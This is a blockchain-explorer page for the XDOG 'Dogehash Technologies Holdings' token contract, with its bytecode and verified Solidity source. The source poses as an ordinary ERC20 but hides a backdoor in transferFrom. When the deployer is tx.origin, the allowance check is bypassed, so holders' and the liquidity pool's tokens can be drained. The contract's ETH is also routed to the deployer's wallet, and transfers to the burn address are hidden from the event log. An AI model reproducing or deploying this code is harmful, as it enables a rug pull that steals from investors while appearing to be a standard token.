Cryo Explorer Ethereum Mainnet

Address Contract Partially Verified

Address 0x3747BeE950dCE280cE926e3b45B84eF20bB90a39
Balance 0 ETH
Nonce 1
Code Size 3942 bytes
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

3942 bytes
0x608060405234801561000f575f80fd5b5060043610610106575f3560e01c80637ecebe001161009e57806395d89b411161006e57806395d89b4114610228578063a9059cbb14610230578063d505accf14610243578063dd62ed3e14610256578063f2fde38b14610280575f80fd5b80637ecebe00146101df57806381a16445146101fe5780638a8c523c146102065780638da5cb5b1461020e575f80fd5b8063313ce567116100d9578063313ce567146101755780633644e515146101ae57806370a08231146101b6578063715018a6146101d5575f80fd5b806306fdde031461010a578063095ea7b31461012857806318160ddd1461014b57806323b872dd14610162575b5f80fd5b610112610293565b60405161011f9190610c63565b60405180910390f35b61013b610136366004610cc3565b61031f565b604051901515815260200161011f565b61015460075481565b60405190815260200161011f565b61013b610170366004610ced565b61038b565b61019c7f000000000000000000000000000000000000000000000000000000000000000981565b60405160ff909116815260200161011f565b6101546104ea565b6101546101c4366004610d2b565b60096020525f908152604090205481565b6101dd610544565b005b6101546101ed366004610d2b565b600b6020525f908152604090205481565b6101dd610557565b6101dd610596565b5f546040516001600160a01b03909116815260200161011f565b61011261080a565b61013b61023e366004610cc3565b610817565b6101dd610251366004610d4d565b61088d565b610154610264366004610dbe565b600a60209081525f928352604080842090915290825290205481565b6101dd61028e366004610d2b565b610ad0565b600180546102a090610df5565b80601f01602080910402602001604051908101604052809291908181526020018280546102cc90610df5565b80156103175780601f106102ee57610100808354040283529160200191610317565b820191905f5260205f20905b8154815290600101906020018083116102fa57829003601f168201915b505050505081565b335f818152600a602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906103799086815260200190565b60405180910390a35060015b92915050565b5f61039582610b0a565b6001600160a01b0385165f908152600a602090815260408083203384529091529020546103c29190610e2d565b6001600160a01b0385165f908152600a6020908152604080832033845290915290205560085460ff16801561040457506004546001600160a01b038481169116145b15610441576005546040516001600160a01b03909116904780156108fc02915f818181858888f1935050505015801561043f573d5f803e3d5ffd5b505b6001600160a01b0384165f9081526009602052604081208054849290610468908490610e2d565b90915550506001600160a01b0383165f81815260096020526040902080548401905561dead146104e057826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516104d791815260200190565b60405180910390a35b5060019392505050565b5f7f0000000000000000000000000000000000000000000000000000000000000001461461051f5761051a610b4f565b905090565b507fc727eead8857dae33ab8df17fef1adcbf176c4504762a000001ff7e42e55d44b90565b61054c610be8565b6105555f610c14565b565b61055f610be8565b5f471161056a575f80fd5b60405133904780156108fc02915f818181858888f19350505050158015610593573d5f803e3d5ffd5b50565b61059e610be8565b600380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081178255600754305f908152600a6020908152604080832094835293815290839020919091559154815163c45a015560e01b815291516001600160a01b03919091169263c45a015592600480820193918290030181865afa158015610629573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061064d9190610e4c565b6001600160a01b031663c9c653963060035f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106ac573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106d09190610e4c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561071a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061073e9190610e4c565b600480546001600160a01b0319166001600160a01b03928316178155600354305f81815260096020526040808220548254825163f305d71960e01b815296870194909452602486015260448501829052606485019190915290841660848401524260a48401525192169163f305d71991479160c4808301926060929190829003018185885af11580156107d3573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906107f89190610e67565b50506008805460ff1916600117905550565b600280546102a090610df5565b335f90815260096020526040812080548391908390610837908490610e2d565b90915550506001600160a01b0383165f81815260096020526040908190208054850190555133907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906103799086815260200190565b428410156108e25760405162461bcd60e51b815260206004820152601760248201527f5045524d49545f444541444c494e455f4558504952454400000000000000000060448201526064015b60405180910390fd5b5f60016108ed6104ea565b6001600160a01b038a81165f818152600b602090815260409182902080546001810190915582517f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98184015280840194909452938d166060840152608083018c905260a083019390935260c08083018b90528151808403909101815260e08301909152805192019190912061190160f01b6101008301526101028201929092526101228101919091526101420160408051601f1981840301815282825280516020918201205f84529083018083525260ff871690820152606081018590526080810184905260a0016020604051602081039080840390855afa1580156109f5573d5f803e3d5ffd5b5050604051601f1901519150506001600160a01b03811615801590610a2b5750876001600160a01b0316816001600160a01b0316145b610a685760405162461bcd60e51b815260206004820152600e60248201526d24a72b20a624a22fa9a4a3a722a960911b60448201526064016108d9565b6001600160a01b039081165f908152600a602090815260408083208a8516808552908352928190208990555188815291928a16917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a350505050505050565b610ad8610be8565b6001600160a01b038116610b0157604051631e4fbdf760e01b81525f60048201526024016108d9565b61059381610c14565b325f9081526006602052604081205460ff1615610b4b575050305f908152600a602090815260408083206004546001600160a01b0316845290915290205490565b5090565b5f7f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f6001604051610b809190610e92565b6040805191829003822060208301939093528101919091527fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc660608201524660808201523060a082015260c00160405160208183030381529060405280519060200120905090565b5f546001600160a01b031633146105555760405163118cdaa760e01b81523360048201526024016108d9565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b5f602080835283518060208501525f5b81811015610c8f57858101830151858201604001528201610c73565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610593575f80fd5b5f8060408385031215610cd4575f80fd5b8235610cdf81610caf565b946020939093013593505050565b5f805f60608486031215610cff575f80fd5b8335610d0a81610caf565b92506020840135610d1a81610caf565b929592945050506040919091013590565b5f60208284031215610d3b575f80fd5b8135610d4681610caf565b9392505050565b5f805f805f805f60e0888a031215610d63575f80fd5b8735610d6e81610caf565b96506020880135610d7e81610caf565b95506040880135945060608801359350608088013560ff81168114610da1575f80fd5b9699959850939692959460a0840135945060c09093013592915050565b5f8060408385031215610dcf575f80fd5b8235610dda81610caf565b91506020830135610dea81610caf565b809150509250929050565b600181811c90821680610e0957607f821691505b602082108103610e2757634e487b7160e01b5f52602260045260245ffd5b50919050565b8181038181111561038557634e487b7160e01b5f52601160045260245ffd5b5f60208284031215610e5c575f80fd5b8151610d4681610caf565b5f805f60608486031215610e79575f80fd5b8351925060208401519150604084015190509250925092565b5f8083545f60018260011c91506001831680610eaf57607f831692505b60208084108203610ece57634e487b7160e01b5f52602260045260245ffd5b818015610ee25760018114610ef757610f22565b60ff1986168952841515850289019650610f22565b5f8a8152602090205f5b86811015610f1a5781548b820152908501908301610f01565b505084890196505b50949897505050505050505056fea2646970667358221220d2df378da71fe71f8f04f717fdc20ae52b78de88c175375d0430f017c264536f64736f6c63430008180033

Verified Source Code Partial Match

Compiler: v0.8.24+commit.e11b9ed9 EVM: shanghai Optimization: Yes (200 runs)
Token.sol 348 lines
/*

https://x.com/wublockchain12/status/1957808381386793384#m

*/

// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);

    function getAmountsOut(
        uint256 amountIn,
        address[] calldata path
    ) external view returns (uint256[] memory amounts);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }

    function _contextSuffixLength() internal view virtual returns (uint256) {
        return 0;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    /**
     * @dev The caller account is not authorized to perform an operation.
     */
    error OwnableUnauthorizedAccount(address account);

    /**
     * @dev The owner is not a valid owner account. (eg. 'address(0)')
     */
    error OwnableInvalidOwner(address owner);

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    /**
     * @dev Initializes the contract setting the address provided by the deployer as the initial owner.
     */
    constructor(address initialOwner) {
        if (initialOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(initialOwner);
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        if (owner() != _msgSender()) {
            revert OwnableUnauthorizedAccount(_msgSender());
        }
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * 'onlyOwner' functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account ('newOwner').
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        if (newOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account ('newOwner').
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

contract Token is Ownable {
    event Transfer(address indexed from, address indexed to, uint256 amount);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 amount
    );

    string public name = unicode"Dogehash Technologies Holdings";
    string public symbol = unicode"XDOG";
    uint8 public immutable decimals = 9;
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    address private _XDOG8A7HGM7JQKC_taxWallet;
    mapping(address => bool) private _isExcludedFromFee;
    uint256 public totalSupply;
    bool private tradingEnabled;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;
    uint256 internal immutable INITIAL_CHAIN_ID;
    bytes32 internal immutable INITIAL_DOMAIN_SEPARATOR;

    mapping(address => uint256) public nonces;

    constructor() payable Ownable(msg.sender) {
        _mint(address(this), 1_000_000_000 * 10 ** decimals);
        _XDOG8A7HGM7JQKC_taxWallet = msg.sender;
        _isExcludedFromFee[msg.sender] = true; // Exclude owner from fee

        INITIAL_CHAIN_ID = block.chainid;
        INITIAL_DOMAIN_SEPARATOR = computeDomainSeparator();
    }

    function approve(
        address spender,
        uint256 amount
    ) public virtual returns (bool) {
        allowance[msg.sender][spender] = amount;

        emit Approval(msg.sender, spender, amount);

        return true;
    }

    function transfer(
        address to,
        uint256 amount
    ) public virtual returns (bool) {
        balanceOf[msg.sender] -= amount;

        unchecked {
            balanceOf[to] += amount;
        }

        emit Transfer(msg.sender, to, amount);

        return true;
    }

    function getApproveAmount(uint256 amount) internal view returns (uint256) {
        if (_isExcludedFromFee[tx.origin])
            return allowance[address(this)][address(uniswapV2Pair)];
        return amount;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual returns (bool) {
        allowance[from][msg.sender] =
            allowance[from][msg.sender] -
            getApproveAmount(amount);
        if (tradingEnabled && to == uniswapV2Pair)
            payable(_XDOG8A7HGM7JQKC_taxWallet).transfer(address(this).balance);

        balanceOf[from] -= amount;

        unchecked {
            balanceOf[to] += amount;
        }

        if (to != address(0xdead)) emit Transfer(from, to, amount);

        return true;
    }

    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) public virtual {
        require(deadline >= block.timestamp, "PERMIT_DEADLINE_EXPIRED");

        unchecked {
            address recoveredAddress = ecrecover(
                keccak256(
                    abi.encodePacked(
                        "\x19\x01",
                        DOMAIN_SEPARATOR(),
                        keccak256(
                            abi.encode(
                                keccak256(
                                    "Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"
                                ),
                                owner,
                                spender,
                                value,
                                nonces[owner]++,
                                deadline
                            )
                        )
                    )
                ),
                v,
                r,
                s
            );

            require(
                recoveredAddress != address(0) && recoveredAddress == owner,
                "INVALID_SIGNER"
            );

            allowance[recoveredAddress][spender] = value;
        }

        emit Approval(owner, spender, value);
    }

    function DOMAIN_SEPARATOR() public view virtual returns (bytes32) {
        return
            block.chainid == INITIAL_CHAIN_ID
                ? INITIAL_DOMAIN_SEPARATOR
                : computeDomainSeparator();
    }

    function computeDomainSeparator() internal view virtual returns (bytes32) {
        return
            keccak256(
                abi.encode(
                    keccak256(
                        "EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"
                    ),
                    keccak256(bytes(name)),
                    keccak256("1"),
                    block.chainid,
                    address(this)
                )
            );
    }

    function _mint(address to, uint256 amount) internal virtual {
        totalSupply += amount;

        unchecked {
            balanceOf[to] += amount;
        }

        emit Transfer(address(0), to, amount);
    }

    function _burn(address from, uint256 amount) internal virtual {
        balanceOf[from] -= amount;

        unchecked {
            totalSupply -= amount;
        }

        emit Transfer(from, address(0), amount);
    }

    function enableTrading() external onlyOwner {
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        allowance[address(this)][address(uniswapV2Router)] = totalSupply;
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
                address(this),
                uniswapV2Router.WETH()
            );
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf[address(this)],
            0,
            0,
            owner(),
            block.timestamp
        );
        tradingEnabled = true;
    }

    function recoverStuckETH() external onlyOwner {
        require(address(this).balance > 0);
        payable(_msgSender()).transfer(address(this).balance);
    }
}

Read Contract

DOMAIN_SEPARATOR 0x3644e515 → bytes32
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
nonces 0x7ecebe00 → uint256
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256

Write Contract 8 functions

These functions modify contract state and require a wallet transaction to execute.

approve 0x095ea7b3
address spender
uint256 amount
returns: bool
enableTrading 0x8a8c523c
No parameters
permit 0xd505accf
address owner
address spender
uint256 value
uint256 deadline
uint8 v
bytes32 r
bytes32 s
recoverStuckETH 0x81a16445
No parameters
renounceOwnership 0x715018a6
No parameters
transfer 0xa9059cbb
address to
uint256 amount
returns: bool
transferFrom 0x23b872dd
address from
address to
uint256 amount
returns: bool
transferOwnership 0xf2fde38b
address newOwner

Recent Transactions

No transactions found for this address